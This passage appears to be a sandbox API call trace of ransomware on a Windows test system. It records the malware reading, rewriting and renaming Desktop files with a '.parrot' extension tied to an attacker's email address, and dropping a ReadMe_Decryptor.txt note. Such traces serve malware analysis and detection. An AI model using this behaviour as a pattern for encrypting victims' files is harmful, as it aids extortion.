Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.208] GetFileType (hFile=0x23c) returned 0x1 [0032.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.219] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22ec1d0, ftCreationTime.dwHighDateTime=0x1d5b9d9, ftLastAccessTime.dwLowDateTime=0x1f0487e0, ftLastAccessTime.dwHighDateTime=0x1d5bae7, ftLastWriteTime.dwLowDateTime=0x1f0487e0, ftLastWriteTime.dwHighDateTime=0x1d5bae7, nFileSizeHigh=0x0, nFileSizeLow=0xb28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9yKj2I54rVDU.mp3", cAlternateFileName="MHR9YK~1.MP3")) returned 1 [0032.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0032.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.219] lstrcmpW (lpString1="Mhr9yKj2I54rVDU.mp3", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mhr9yKj2I54rVDU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhr9ykj2i54rvdu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.219] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xb28a [0032.219] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb3a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.219] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.219] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.219] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.219] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb28a, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xb28a, lpOverlapped=0x0) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.220] GetLastError () returned 0x0 [0032.220] SetLastError (dwErrCode=0x0) [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.220] GetLastError () returned 0x0 [0032.220] SetLastError (dwErrCode=0x0) [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.220] GetLastError () returned 0x0 [0032.220] SetLastError (dwErrCode=0x0) [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6069b0 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.224] GetLastError () returned 0x0 [0032.224] SetLastError (dwErrCode=0x0) [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.225] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.228] WriteFile (in: hFile=0x23c, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xb3a8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xb3a8, lpOverlapped=0x0) returned 1 [0032.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.229] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb3a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.229] CloseHandle (hObject=0x23c) returned 1 [0032.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc038 [0032.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0032.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc038 | out: hHeap=0x5b0000) returned 1 [0032.293] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mhr9yKj2I54rVDU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhr9ykj2i54rvdu.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mhr9yKj2I54rVDU.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhr9ykj2i54rvdu.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0032.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.295] GetFileType (hFile=0x23c) returned 0x1 [0032.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.305] lstrcmpW (lpString1="mK57Q.odp", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mK57Q.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mk57q.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.305] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xca21 [0032.305] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb39, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.306] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.306] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.306] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.306] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xca21, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xca21, lpOverlapped=0x0) returned 1 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.306] GetLastError () returned 0x0 [0032.306] SetLastError (dwErrCode=0x0) [0032.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.307] GetLastError () returned 0x0 [0032.307] SetLastError (dwErrCode=0x0) [0032.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.307] GetLastError () returned 0x0 [0032.307] SetLastError (dwErrCode=0x0) [0032.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.311] GetLastError () returned 0x0 [0032.312] SetLastError (dwErrCode=0x0) [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.312] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.313] 